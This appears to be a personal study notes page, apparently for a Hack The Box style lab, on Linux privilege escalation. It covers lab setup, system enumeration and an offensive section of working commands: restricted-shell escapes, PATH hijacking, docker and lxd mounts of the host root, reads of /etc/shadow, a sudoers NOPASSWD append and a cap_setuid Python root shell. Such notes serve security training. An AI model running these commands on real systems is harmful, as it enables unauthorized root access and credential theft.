N1NJ10

Linux Privilege Escalation

Resources

Commands

  • Technology
    • Restricted Shell (rbash) 
      sudo ln -s /bin/bash /bin/rbash
echo "/bin/rbash" | sudo tee -a /etc/shells
 
sudo useradd -m -s /bin/rbash restricteduser
sudo passwd restricteduser
sudo mkdir /home/restricteduser/bin
 
sudo nano /home/restricteduser/.bash_profile
	# Restrict PATH to the custom bin directory 
	PATH=$HOME/bin 
	export PATH
sudo chown root:root /home/restricteduser 
sudo chown root:root /home/restricteduser/.bash_profile 
sudo chown root:root /home/restricteduser/bin
sudo chmod 755 /home/restricteduser
sudo chmod 644 /home/restricteduser/.bash_profile
 
sudo ln -s /bin/ping /home/restricteduser/bin/ping
sudo ln -s /bin/ls /home/restricteduser/bin/ls
      • Vulns
        • Functions Escape 
          sudo ln -s /usr/bin/awk /home/restricteduser/bin/awk
        • Flag Abuse 
          sudo ln -s /usr/bin/find /home/restricteduser/bin/find
        • Parameter Injection 
          sudo ln -s /bin/tar /home/restricteduser/bin/tar
        • Interactive Shell Spawning 
          sudo ln -s /usr/bin/vim /home/restricteduser/bin/vim
    • Groups
      • Lab Setup 
        # 1. Create a low-privilege user named 'hacker'
sudo useradd -m -s /bin/bash hacker
sudo passwd hacker  # Set a simple password like '123'
 
# 2. Install Docker (if you don't already have it on this Debian box)
sudo apt update && sudo apt install docker.io -y
 
# 3. Add the 'hacker' user to the vulnerable groups
sudo usermod -aG docker hacker
sudo usermod -aG disk hacker
sudo usermod -aG adm hacker
usermod -aG lxd hacker # ubuntu
    • Capabilities
      • Recon 
        cp /usr/bin/python3 /home/hacker/python_vuln
/usr/sbin/setcap cap_setuid+ep /home/hacker/python_vuln
  • Enumerations
    • User 
      whoami
id
    • System
      • OS
        • General 
          hostname
ifconfig [ip a]
cat /etc/shells/ 
sudo -V
 
find /proc -name cmdline -exec cat {} \; 2>/dev/null | tr '\0' '\n'
        • Version 
          cat /etc/os-release
        • Variables 
          echo $PATH
env
        • Network 
          route
arp -a
ip a [ifconfig]
 
cat /etc/resolv.conf
cat /etc/hosts
        • Services
          • binaries 
            ls -l /bin /usr/bin/ /usr/sbin/
          • Packages 
            apt list --installed | tr "/" " " | cut -d" " -f1,3 | sed 's/[0-9]://g' | tee -a installed_pkgs.list
          • Privileges 
            ps aux | grep root
      • Kernal
        • General 
          lscpu
        • Version 
          cat /proc/version
uname -a
    • Process 
      ps au 
ps aux | grep root
    • Services
      • SSH 
        ls ~/.ssh
      • CronJobs 
        ls -la /etc/cron.daily/
    • Files
      • History 
        history
/home/fady/.bash_history
find / -type f \( -name *_hist -o -name *_history \) -exec ls -l {} \; 2>/dev/null
      • Shadow 
        cat /etc/shadow
      • Passwd 
        cat /etc/passwd
cat /etc/passwd | cut -f1 -d:
getent passwd fady
      • Additional Drivers
        • General 
          lsblk # Connected Devices
lpstat # Printers
        • Mount 
          df -h
cat /etc/fstab # Moundted Shares
cat /etc/fstab | grep -v "#" | column -t
      • configs 
        find / -type f \( -name *.conf -o -name *.config \) -exec ls -l {} \; 2>/dev/null
      • sh 
        find / -type f -name "*.sh" 2>/dev/null | grep -v "src\|snap\|share"
  • Privileges
    • Sudo 
      sudo -l
    • Groups 
      cat /etc/group
getent group sudo
  • Tips & Tricks
    • Pingo’s 
      echo 'echo "htb-student ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh
    • Hidden files 
      find / -type f -name ".*" -exec ls -l {} \; 2>/dev/null | grep htb-student
find / -type d -name ".*" -ls 2>/dev/null
    • Temp Files 
      ls -l /tmp /var/tmp /dev/shm
    • logins 
      lastlog
finger
w
who
    • Debug 
      strace -c ls
strace -e trace=network nc -v -n 127.0.0.1 801
  • Offensive
    • Path Abuse 
      PATH=.:${PATH}
export PATH
echo $PATH
 
touch ls
echo 'echo "PATH ABUSE!!"' > ls
chmod +x ls
    • Wildcard Abuse : https://gtfobins.org/gtfobins/tar/
    • Restricted Shell Escape
      • Recon 
        echo $0
echo $SHELL
      • Function Escape 
        awk 'BEGIN {system("/bin/bash")}'
      • Execution Flag Abuse 
        find . -exec /bin/bash \; -quit
      • Parameter Injection
      • Interactive Shell Spawning 
        vim
:set shell=/bin/bash
:shell
    • SetUid
      • Recon 
        find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
    • Sudo Rights Abuse
      • Recon 
        sudo -l
cat /etc/sudoers
    • Privileged Groups Abuse
      • Recon 
        id
cat /etc/group
        • docker 
          docker run -v /:/mnt/root -it debian /bin/bash
cat /mnt/root/etc/shadow
        • disk 
          debugfs /dev/sda1
debugfs: cat /etc/shadow
debugfs: quit
        • adm 
          # As a normal user, you would be blocked from reading /var/log. 
# Because you are in 'adm', you can grep the entire log directory for keywords: 
grep -iE "password|pass|pwd|credential" /var/log/syslog
        • lxd 
          /snap/bin/lxc init images:alpine/edge pwned -c security.privileged=true
/snap/bin/lxc config device add pwned host-root disk source=/ path=/mnt/root recursive=true
 
/snap/bin/lxc start pwned
/snap/bin/lxc exec pwned /bin/sh
 
cat /mnt/root/etc/shadow
    • Capabilities
      • Recon 
        find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;
      • Example 
        /usr/sbin/setcap cap_setuid+ep /home/hacker/python_vuln # As root 
/home/hacker/python_vuln -c 'import os; os.setuid(0); os.system("/bin/bash")'
  • Tools

Tools

Notes

Nodes

Graph View

Backlinks